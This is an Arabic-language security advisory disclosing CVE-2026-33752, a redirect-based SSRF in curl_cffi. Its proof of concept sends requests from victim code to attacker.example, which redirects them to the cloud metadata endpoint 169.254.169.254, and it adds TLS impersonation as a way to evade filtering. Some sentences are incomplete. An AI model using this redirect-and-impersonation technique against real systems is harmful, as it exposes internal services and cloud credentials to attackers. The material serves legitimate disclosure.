
يُظهر ثغرة SSRF قائمة على إعادة التوجيه في curl_cffi تتيح الوصول إلى الشبكة الداخلية، مع كود إثبات المفهوم (PoC) وتحليل لتجاوز انتحال TLS.
CVE-2026-33752(إعادة توجيه قائمة على SSRF تؤدي إلى الوصول إلى الشبكة الداخلية في curl_cffi)
لا يقيد curl_cffi الطلبات إلى نطاقات IP الداخلية، ويتبع عمليات إعادة التوجيه تلقائيًا عبر libcurl الأساسي.
بسبب هذا، يمكن لعنوان URL يتحكم فيه المهاجم إعادة توجيه الطلبات إلى خدمات داخلية مثل نقاط نهاية بيانات التعريف السحابية. بالإضافة إلى ذلك، يمكن لميزة انتحال بصمة TLS في curl_cffi جعل هذه الطلبات تبدو كحركة مرور متصفح شرعية، مما قد يتجاوز بعض ضوابط الشبكة.
تأتي المشكلة من كيفية تعامل curl_cffi مع الطلبات الصادرة
هذا يعني أنه حتى إذا كان التطبيق يسمح فقط بالطلبات إلى عناوين URL خارجية، يمكن للمهاجم
ونتيجة لذلك، يمكن الوصول إلى نقاط النهاية الداخلية (مثل واجهات برمجة تطبيقات بيانات التعريف لمثيلات السحابة).
بالإضافة إلى ذلك، يدعم curl_cffi انتحال بصمة TLS (مثل impersonate="chrome"). في البيئات التي يتم فيها تصفية الطلبات الصادرة بناءً على بصمة TLS، يمكن أن يجعل هذا هذه الطلبات أكثر صعوبة في الاكتشاف أو الحظر.
هذا السلوك مشابه لقضايا SSRF القائمة على إعادة التوجيه المبلغ عنها سابقًا مثل CVE-2025-68616، حيث سمحت عمليات إعادة التوجيه بالوصول إلى موارد داخلية غير مقصودة.
import curl_cffi
resp = curl_cffi.get("http://169.254.169.254/latest/meta-data/")
print(resp.text)
GET /test
→ 302 Location: http://169.254.169.254/latest/meta-data/
كود الضحية:
import curl_cffi
resp = curl_cffi.get("https://attacker.example/test")
print(resp.text)
النتيجة
import curl_cffi\
resp = curl_cffi.get(
"https://attacker.example/test",
impersonate="chrome")
في بعض البيئات، قد يساعد هذا الطلب في تجاوز ضوابط التصفية القائمة على TLS.
قد يتمكن المهاجم الذي يمكنه التحكم في عنوان URL المطلوب من: